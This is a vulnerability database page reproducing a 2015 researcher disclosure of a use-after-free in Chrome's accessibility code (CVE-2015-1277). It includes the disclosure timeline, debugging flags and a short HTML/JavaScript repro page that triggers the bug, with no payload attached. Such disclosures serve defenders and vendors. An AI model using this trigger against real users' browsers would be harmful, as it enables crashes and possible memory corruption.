Lucene search
+L

Chrome ui::AXTree::Unserialize Use-After-Free

🗓️ 18 Jul 2015 00:00:00Reported by SkyLinedType 
packetstorm
 packetstorm
🔗 packetstormsecurity.com👁 56 Views

Chrome ui vulnerability disclosur

Related
Code
ReporterTitlePublishedViews
Family
zdt
zdt
Chrome ui::AXTree::Unserialize Use-After-Free Exploit
21 Jul 201500:00
–zdt
freebsd
FreeBSD
chromium -- multiple vulnerabilities
21 Jul 201500:00
–freebsd
archlinux
ArchLinux
chromium: multiple issues
23 Jul 201500:00
–archlinux
bdu_fstec
BDU FSTEC
Google Chrome DoS
31 Jul 201500:00
–bdu_fstec
cnvd
CNVD
Google Chrome accessibility memory misreference vulnerability
24 Jul 201500:00
–cnvd
cve
CVE
CVE-2015-1277
23 Jul 201500:00
–cve
cvelist
Cvelist
CVE-2015-1277
23 Jul 201500:00
–cvelist
debian
Debian
[SECURITY] [DSA 3315-1] chromium-browser security update
24 Jul 201512:29
–debian
debian
Debian
[SECURITY] [DSA 3315-1] chromium-browser security update
24 Jul 201512:29
–debian
debiancve
Debian CVE
CVE-2015-1277
23 Jul 201500:00
–debiancve
Rows per page
`1503A - Chrome - ui::AXTree::Unserialize use-after-free (CVE-2015-1277)  
  
TL;DR  
After 60 day deadline has passed, I am releasing details on an unfixed use-after-free vulnerability in Chrome's accessibility features, which are disabled by default. The issue does not look exploitable.  
  
Details  
On April 22nd 2015 I reported a use-after-free vulnerability in Google Chrome to the Chromium issue tracker. I allow vendors 60 days to fix an issue, unless they can provide an adequate reason for extending this deadline. The issue was marked fixed on June 3rd but unfortunately the fix has not yet been shipped as of July 17th. Since the deadline for a fix has passed some time ago without adequate explanation, I am disclosing details about the vulnerability today.  
  
To cause the use-after-free to trigger an access violation in a debugger, Chrome must be run with page heap enabled, the "--force-renderer-accessibility" and "--no-sandbox" command line flags, and the environment variable "CHROME_ALLOCATOR" set to "winheap". Without the page heap settings, the repro should still trigger the use-after-free but will probably not cause an no access violation, as memory with valid data will still be allocated at the address of the freed memory.  
  
Repro  
  
<html>  
<head>  
<script>  
window.onload = function () {  
setTimeout(function() {  
document.getElementById("style")  
.appendChild(document.createElement("x"));  
document.getElementById("x")  
.appendChild(document.createElement("frame"));  
}, 0);  
};  
</script>  
</head>  
<body>  
<style id="style">  
@import "404";  
body {  
float: left;  
}  
</style>  
<x id="x">  
x  
</x>  
</body>  
</html>  
  
`

Data

Build on a solid foundation with Vulners data

We provide the essential building blocks for cybersecurity solutions with comprehensive, structured, and constantly updated vulnerability and exploits data

Api

Power your application with Vulners API

The Vulners REST API offers reliable, high-performance access to vulnerability intelligence, with 99.9% SLA uptime and CDN-backed data delivery for seamless global access

App

Assess and manage vulnerabilities with Vulners tools

Built on top of Vulners' database and SDK, end-user solutions give security professionals and developers lightweight and powerful tools for vulnerability remediation

18 Jul 2015 00:00Current
0.2Low risk
Vulners AI Score0.2
EPSS0.01617
56